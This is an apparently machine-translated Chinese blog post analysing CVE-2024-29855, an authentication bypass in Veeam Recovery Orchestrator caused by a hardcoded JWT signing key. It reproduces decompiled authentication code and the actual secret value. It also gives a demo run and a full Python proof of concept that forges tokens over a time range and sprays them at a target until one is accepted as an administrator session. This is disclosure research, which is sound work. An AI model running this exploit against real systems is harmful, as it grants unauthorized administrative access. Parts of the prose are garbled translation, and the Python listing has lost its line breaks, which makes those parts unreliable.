利用 Veeam CVE-2024-29855
Veeam 发布了针对影响Veeam Recovery Orchestrator 的身份验证绕过漏洞 CVE-2024-29855 的CVSS 9公告,以下是我对此问题的完整分析和利用,虽然问题并不像听起来那么严重(不要惊慌)但我发现这个漏洞的机制有点有趣,并决定发布我的详细分析和利用。
简介(又是 TLDR)
6 月 10 日,Veeam 发布了一份公告,指出 Veeam Recovery Orchestrator 受到身份验证绕过的影响,允许未经身份验证的攻击者绕过身份验证并以管理员权限登录 Veeam Recovery Orchestrator Web UI。此漏洞的 CVSS 为 9.0
该漏洞是由于用于生成身份验证令牌的 JWT 密钥是一个硬编码值,这意味着未经身份验证的攻击者可以为任何用户(不仅仅是管理员)生成有效令牌并登录 Veeam Recovery Orchestrator。
官方咨询国家:
Veeam Recovery Orchestrator (VRO) 版本 7.0.0.337 中的漏洞 (CVE-2024-29855) 允许攻击者以管理权限访问 VRO Web UI。
注意:攻击者必须知道具有活动 VRO UI 访问令牌的帐户的确切用户名和角色才能完成劫持。
高级.NET利用
如果您很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的“高级 .NET 漏洞利用培训”,请注册并让我教您有关 .NET 相关漏洞的所有知识,如身份验证绕过、反序列化、缓解绕过等等。
让我们开始
该漏洞相当简单,使用硬编码的 JWT 密钥来生成和验证用户令牌,以下是令牌生成方法(也称为)的骨架Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken。人们可以很快注意到,在第 (4) 行,一个字节数组被分配了内容this._appSettings.Secret。
稍后在第(11)行,这个包含秘密的字节数组用于Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey通过将字节传递给其构造函数来实例化该类。然后将返回的实例传递给Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials作为其第一个参数,该参数为类型Microsoft.IdentityModel.Tokens.SecurityKey,对于第二个参数,使用以下值http://www.w3.org/2001/04/xmldsig-more#hmac-sha256,可以很快地说这就是算法被定义的地方hmac-sha256。
现在我们有一个已填充的实例,Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor用于Microsoft.IdentityModel.Tokens.SecurityToken在第(13)行创建一个,然后该对象被传递给jwtSecurityTokenHandler.WriteToken发布一个供用户使用的签名令牌。
1: public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)
2: {
3: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
4: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
5: int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;
6: DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);
7: SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor
8: {
9: Subject = (ClaimsIdentity)principal.Identity,
10: Expires = new DateTime?(dateTime),
11: SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")
12: };
13: SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);
14: string text = jwtSecurityTokenHandler.WriteToken(securityToken);
15: AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo
16: {
17: Id = text,
18: ClaimIdentity = principal,
19: ExpiresUtc = new DateTimeOffset?(dateTime)
20: });
21: response.access_token = text;
22: response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);
}
如果你有兴趣验证提到的参数的类型,可以通过进入 Microsoft .NET 的实现来完成Microsoft.IdentityModel.Tokens.dll
1: using System;
2: using System.Security.Cryptography.X509Certificates;
3: using Microsoft.IdentityModel.Logging;
4:
5: namespace Microsoft.IdentityModel.Tokens
6: {
7:
8: public class SigningCredentials
9: {
10:
11: protected SigningCredentials(X509Certificate2 certificate)
12: {
13: if (certificate == null)
14: {
15: throw LogHelper.LogArgumentNullException("certificate");
16: }
17: this.Key = new X509SecurityKey(certificate);
18: this.Algorithm = "RS256";
19: }
20:
21:
22: protected SigningCredentials(X509Certificate2 certificate, string algorithm)
23: {
24: if (certificate == null)
25: {
26: throw LogHelper.LogArgumentNullException("certificate");
27: }
28: this.Key = new X509SecurityKey(certificate);
29: this.Algorithm = algorithm;
30: }
31:
32:
33: public SigningCredentials(SecurityKey key, string algorithm)
34: {
35: this.Key = key;
36: this.Algorithm = algorithm;
37: }
聪明的读者会问,它从哪里来this._appSettings.Secret?
要回答这个问题,我们可以首先看一下声明_appSettings,然后看一下它的初始化,下面是定义此类的类型的地方Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings。
我们很快就能发现public string Secret这个类别中我们感兴趣的成员。
1: using System;
2:
3: namespace Veeam.AA.Web.Auth
4: {
5:
6: public class AppSettings
7: {
8:
9: public string Secret { get; set; }
10:
11: public int RefreshTokenExpireMinutes { get; set; }
12:
13: public int AccessTokenExpireMinutes { get; set; }
14:
15: public bool WebDavLogEverything { get; set; }
16:
17: public bool WebDavUrlAuthorizationMode { get; set; }
18: }
19: }
现在我们需要了解这个类的实例在哪里初始化。以下是Veeam.AA.Web.Startup.Configure负责处理此 .net 应用程序的初始化例程的方法的实现,而行 (70) 是AppSettings最终实例化的地方。
public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)
1: {
2: Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());
3: CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;
4: cancellationToken.Register(delegate
5: {
6: Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());
7: });
8: cancellationToken = applicationLifetime.ApplicationStopped;
9: cancellationToken.Register(delegate
10: {
11: Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());
12: });
13: if (env.IsDevelopment())
14: {
15: app.UseDeveloperExceptionPage();
16: }
17: app.UseSwagger(delegate(SwaggerOptions _)
18: {
19: });
20: bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;
21: app.UseSwaggerUI(delegate(SwaggerUIOptions options)
22: {
23: options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");
24: options.InjectJavascript("/swagger.custom.js", "text/javascript");
25: options.InjectStylesheet("/swagger.custom.css", "screen");
26: options.DefaultModelExpandDepth(0);
27: options.DefaultModelsExpandDepth(-1);
28: options.DocExpansion(DocExpansion.None);
29: for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)
30: {
31: ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];
32: int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;
33: int num = 0;
34: if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)
35: {
36: string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());
37: options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);
38: }
39: }
40: options.EnableValidator(null);
41: options.EnableDeepLinking();
42: });
43: string contentRootPath = env.ContentRootPath;
44: PathString pathString = new PathString("");
45: app.UseDefaultFiles(new DefaultFilesOptions
46: {
47: FileProvider = new PhysicalFileProvider(contentRootPath),
48: RequestPath = pathString
49: });
50: app.UseStaticFiles(new StaticFileOptions
51: {
52: FileProvider = new PhysicalFileProvider(contentRootPath),
53: RequestPath = pathString
54: });
55: app.UseRouting();
56: app.UseSession();
57: app.UseCors(delegate(CorsPolicyBuilder x)
58: {
59: x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();
60: });
61: Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);
62: accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });
63: NotificationServiceOptions pushServerOptions = new NotificationServiceOptions
64: {
65: AccessValidator = accessValidator
66: };
67: app.UseNotificationService(pushServerOptions);
68: app.UseAuthentication();
69: app.UseAuthorization();
70: AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;
71: app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);
72: app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)
73: {
74: endpoints.MapControllers();
75: endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");
76: });
77: Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());
78: }
填充此类成员的值取自以下文件appsettings.json,让我们看一下该文件内部。
我们可以很快地知道Secret密钥包含 JWT 秘密,而该产品的问题在于 JWT“秘密”值始终保持“相同”(在最新补丁之前)
{
"AppSettings": {
"Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",
"RefreshTokenExpireMinutes": 120,
"AccessTokenExpireMinutes": 15,
"WebDavLogEverything": "false",
"WebDavUrlAuthorizationMode": "false"
},
"Vcf": {
"Host": "localhost",
"Port": 12348,
"ReconnectInterval": "0.00:01:00"
},
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"AllowedHosts": "*"
}
现在我们了解了 JWT 令牌是如何生成的,人们可能会快速继续生成令牌,但对于这个产品,它不起作用,实际上有一些有趣的事情导致 CVSS 从 CVSS 9.8 下降到 CVSS 9,原因如下。
让我们看一下负责验证提供的 JWT 令牌的方法,该方法位于Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken
此方法的机制很简单,它期望以字符串形式传递一个令牌,然后继续创建我们在令牌生成部分讨论的类的实例(第 7 行),然后在第(8)行通过引用并将其值加载到字节数组中来JwtSecurityTokenHandler加载相同的硬编码 JWT 机密,然后(第 9 行)定义一个实例。this._appSettings.Secret 、ClaimsPrincipal
包含机密的字节数组用于实例化,SymmetricSecurityKey其返回值用于填充IssuerSigningKey成员属性,TokenValidationParameters其本身是传递给的第二个参数,用于jwtSecurityTokenHandler.ValidateToken验证已作为第一个参数传递的用户令牌,如果令牌通过验证,则将out securityToken包含已验证的令牌,以防从内部引发验证异常,则第Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken( catch26) 行的块用于捕获异常并分配null给先前定义的claimsPrincipal变量,意味着令牌无效。
但是,敏锐的眼睛可能会注意到这里的一些重要的东西,如果没有引发异常,那么在第(23)行,提供的令牌将被传递给AuthorizationTokenStore.AccessTokens.Get 类型的对象,AuthorizationInfo这种类型也称为Veeam.AA.Web.Auth.Models.AuthorizationInfo。
如果返回的值AuthorizationTokenStore.AccessTokens.Get不等于,null则最终claimsPrincipal填充并返回给调用者以告知令牌有效。
但是什么AuthorizationTokenStore.AccessTokens.Get?
1: public ClaimsPrincipal ValidateJwtToken(string token)
2: {
3: if (token == null)
4: {
5: return null;
6: }
7: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
8: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
9: ClaimsPrincipal claimsPrincipal;
10: try
11: {
12: SecurityToken securityToken;
13: jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters
14: {
15: ValidateIssuerSigningKey = true,
16: IssuerSigningKey = new SymmetricSecurityKey(bytes),
17: ValidateIssuer = false,
18: ValidateAudience = false,
19: RequireExpirationTime = true,
20: ValidateLifetime = true,
21: ClockSkew = TimeSpan.Zero
22: }, out securityToken);
23: AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);
24: claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);
25: }
26: catch
27: {
28: claimsPrincipal = null;
29: }
30: return claimsPrincipal;
31: }
不再赘述,简单来说,访问AuthorizationTokenStore.AccessTokens.Get内存中的对象列表,这个对象列表显然存储了对象,但对于我们的目的而言,它包含先前颁发的 JWT 令牌列表,这非常重要,您问为什么呢?好吧,即使我们设法(滥用)使用硬编码的 JWT 密钥来生成有效令牌,如果该令牌实际上不是在过去颁发的,则返回会AuthorizationTokenStore.AccessTokens.Get导致null也会authorizationInfo导致并且null令牌验证也会失败。claimsPrincipal、null
1: using System;
2: using System.Collections.Concurrent;
3: using System.Collections.Generic;
4: using System.Linq;
5: using System.Linq.Expressions;
6: using System.Reflection;
7:
8: namespace Veeam.AA.Web.Auth
9: {
10:
11: public class InMemoryObjectList<TEntity> where TEntity : class
12: {
13:
14: public InMemoryObjectList()
15: {
16: this.CreateIdGetter();
17: }
18:
19:
20: private Func<TEntity, object> CreateIdGetter()
21: {
22: Type typeFromHandle = typeof(TEntity);
23: PropertyInfo property = typeFromHandle.GetProperty("Id");
24: if (property == null)
25: {
26: throw new ArgumentException("Entity must have Id property");
27: }
28: ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");
29: Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));
30: LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });
31: this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;
32: return this._idGetter;
33: }
34:
35:
36: public void Add(TEntity entity)
37: {
38: object obj = this._idGetter(entity);
39: this._collection.TryAdd(obj, entity);
40: }
41:
42:
43: public TEntity Get(object id)
44: {
45: if (this._collection.ContainsKey(id))
46: {
47: return this._collection[id];
48: }
49: return default(TEntity);
50: }
51:
52: [..SNIP..]
为了演示内存中的对象列表是什么样子的,以下是list经过多次身份验证请求后的运行时内容,该列表包含多个有效的 JWT 令牌的管理员会话
这正是 Veeam 官方咨询所指的(可以这么说)
他们声称,这种利用需要满足三个条件:
知道用户名
了解角色
目标具有活动会话
这是事实,这就是为什么这个问题的可利用性有点牵强,我同意这一点,但如你所知,我在这里是为了让这件事变得更有可能(只是一点点)
首先,“知道用户名”问题“有点”可以通过以下解决方案解决,假设存在一个名为的用户,administrator@evilcorp.local可以通过查看 SSL 证书的字段找到域名CN,并且可以对用户名进行喷洒,虽然有点蹩脚,但这就是我们现在所拥有的
其次,“知道”角色本身就是个笑话,经过进一步的逆向,我得出结论,角色可能的值只有 5 个,下面是这些角色的定义
1: using System;
2: using System.Collections.Generic;
3: using System.Runtime.CompilerServices;
4:
5: namespace Veeam.AA.Common.Security
6: {
7: [NullableContext(1)]
8: [Nullable(0)]
9: public static class RoleNames
10: {
11: public const string Anonymous = "Anonymous";
12:
13: public const string Administrator = "DRSiteAdmin";
14:
15: public const string PlanAuthor = "DRPlanAuthor";
16:
17: public const string PlanOperator = "DRPlanOperator";
18:
19: public const string SetupOperator = "SiteSetupOperator";
20:
21: public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };
22: }
23: }
第三,目标具有活动会话,我们上面讨论过这个,创建的 JWT Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken存储在 InMemoryObjectList 中,因此用户需要登录。
所以现在的计划很简单,在一段时间内生成有效的 JWT 令牌,并将它们喷洒到服务器上,直到我们获得命中。提供的 PoC 是用 python 编写的,我认为其他语言可以做得更快,我希望一个强大的小伙子或小伙子可以制作一个更快的 poc 并让我知道它。
事情经过如下:
演示
python CVE-2024-29855.py --start_time 1718264404 --end_time 1718264652 --username administrator@evilcorp.local --target https://192.168.253.180:9898/
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200(+) Response: {"user":"administrator@evilcorp.local","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}
概念验证
"""Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29855)Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/"""
banner = r""" _______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
""""""
import jwtimport timeimport warningsimport requestsimport argparsefrom concurrent.futures import ThreadPoolExecutorimport signalimport sys
warnings.filterwarnings("ignore")
jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="counter = 0def exploit_token(token): global counter url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData" headers = {"Authorization": f"Bearer {token}"} try: res = requests.get(url, verify=False, headers=headers) if(res.status_code == 200): print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}") counter = 21 sys.exit(0) if(args.debug or counter == 10): print(f"(INFO) Spraying JWT Tokens: {res.status_code}") counter = 0 except requests.exceptions.RequestException as e: if args.debug: print(f"(INFO) Request failed: {e}")
counter += 1
def generate_token_and_exploit(current_time): claims = { "unique_name": args.username, "role": "SiteSetupOperator", "nbf": current_time, "exp": current_time + 900, "iat": current_time } encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256") exploit_token(encoded_jwt)
def signal_handler(sig, frame): print('Interrupted! Shutting down gracefully...') executor.shutdown(wait=False) sys.exit(0)
if __name__ == "__main__": print(banner) parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.") parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True) parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True) parser.add_argument("--username", type=str, help="administrator@evilcorp.local or evilcorp\\administrator", required=True) parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True) parser.add_argument("--debug", action="store_true", help="Enable debug mode") args = parser.parse_args()
start_time = args.start_time end_time = args.end_time
signal.signal(signal.SIGINT, signal_handler)
with ThreadPoolExecutor() as executor: signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
current_time = start_time while current_time < end_time: try: executor.submit(generate_token_and_exploit, current_time) current_time += 1 except KeyboardInterrupt: print("Keyboard interrupt received, shutting down...") executor.shutdown(wait=False) sys.exit(0)
参考
https://github.com/sinsinology/CVE-2024-29855
https://www.veeam.com/kb4585
There Are No Secrets || Exploiting Veeam CVE-2024-29855
https://summoning.team/blog/veeam-recovery-orchestrator-auth-bypass-cve-2024-29855/